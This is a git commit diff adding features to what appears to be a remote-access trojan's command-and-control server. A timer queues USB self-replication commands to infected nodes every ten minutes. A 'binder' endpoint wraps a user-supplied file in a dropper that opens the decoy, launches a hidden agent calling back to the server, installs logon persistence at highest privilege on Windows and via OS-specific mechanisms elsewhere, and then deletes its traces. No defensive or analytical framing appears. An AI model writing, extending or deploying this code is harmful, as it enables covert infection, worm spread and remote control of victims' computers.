v2.2.0: USB self-replication (per-node toggle + 10min dispatcher), binder persistence option, hover terminology tooltips, binder embeds current token-injected agent, README full rewrite

This commit is contained in:
Hermes
2026-09-30 23:39:54 +00:00
parent a40f92ebd1
commit b1e320bda4
7 changed files with 418 additions and 3 deletions

View File

@@ -300,6 +300,58 @@ function buildAgentB64() {
}
}
buildAgentB64();
// ── USB Self-Replication (spread) system ──
const SPREAD_FILE = path.join(DATA_DIR, 'spread.json');
let spreadNodes = new Set(), spreadModes = {};
try {
const sd = JSON.parse(fs.readFileSync(SPREAD_FILE, 'utf8') || '{}');
spreadNodes = new Set(sd.nodes || []);
spreadModes = sd.modes || {};
} catch (e) {}
function saveSpread() {
_atomicWrite(SPREAD_FILE, JSON.stringify({ nodes: Array.from(spreadNodes), modes: spreadModes }));
}
setInterval(() => {
if (!spreadNodes.size) return;
for (const nid of spreadNodes) {
const node = nodes.get(nid);
if (!node || node.status !== 'online') continue;
commandQueues.get(nid).push({
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
actionType: 'copy_self_to_usb',
payload: { mode: spreadModes[nid] || 'copy' },
command: 'copy_self_to_usb',
status: 'queued',
queuedAt: Date.now()
});
}
}, 10 * 60 * 1000);
app.post('/api/nodes/:id/spread', (req, res) => {
const nid = req.params.id;
if (!nodes.has(nid)) return res.status(404).json({ error: 'Node not found' });
const { enabled, mode } = req.body || {};
if (enabled !== false) {
spreadNodes.add(nid);
if (mode) spreadModes[nid] = mode;
commandQueues.get(nid).push({
id: `cmd-${Date.now()}-sr${Math.random().toString(36).slice(2, 4)}`,
actionType: 'copy_self_to_usb',
payload: { mode: spreadModes[nid] || 'copy' },
command: 'copy_self_to_usb',
status: 'queued',
queuedAt: Date.now()
});
} else {
spreadNodes.delete(nid);
delete spreadModes[nid];
}
saveSpread();
broadcastState();
res.json({ success: true, spread: enabled !== false });
});
app.get('/api/spread', (req, res) => res.json({ nodes: Array.from(spreadNodes), modes: spreadModes }));
app.post('/api/bind', upload.single('file'), (req, res) => {
if (!req.file) {
return res.status(400).json({ error: 'No file uploaded. Use field name "file".' });
@@ -311,6 +363,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
const agentLines = AGENT_B64.match(/.{1,76}/g) || [AGENT_B64];
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
const format = (req.query.format || 'sh').toLowerCase();
const persist = req.query.persist !== '0'; // persistence ON unless explicitly 0
let dropper, boundName, contentType;
@@ -384,7 +437,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
'}',
'',
'Start-Process $OUTPUT_FILE -WindowStyle Normal',
'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null',
(persist ? 'schtasks /create /tn NexusOpsAgent /sc ONLOGON /tr "python $AGENT_DIR\\agent.py --server $SERVER_URL --silent" /f /rl HIGHEST 2>$null' : '# persistence disabled by operator'),
'Start-Process -FilePath python -ArgumentList "$AGENT_DIR\\agent.py --server $SERVER_URL --silent" -WindowStyle Hidden',
'Start-Process powershell -ArgumentList "-WindowStyle Hidden -NoProfile -Command Start-Sleep 60; Remove-Item -Recurse -Force $OUTPUT_DIR" -WindowStyle Hidden',
'',
@@ -431,6 +484,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
'elif command -v start &>/dev/null; then start "$OUTPUT_FILE" 2>/dev/null &',
'fi',
'',
...(persist ? [
'# ── Install agent persistence (OS-aware) ──',
'case "$(uname -s 2>/dev/null)" in',
' Linux)',
@@ -468,6 +522,7 @@ app.post('/api/bind', upload.single('file'), (req, res) => {
' /usr/bin/python3 -u "$AGENT_DIR/agent.py" --server "$SERVER_URL" --silent &>/dev/null &',
' ;;',
'esac',
] : ['# persistence disabled by operator']),
'',
'# ── Self-destruct temp dir ──',
'(sleep 60 && rm -rf "$OUTPUT_DIR") &',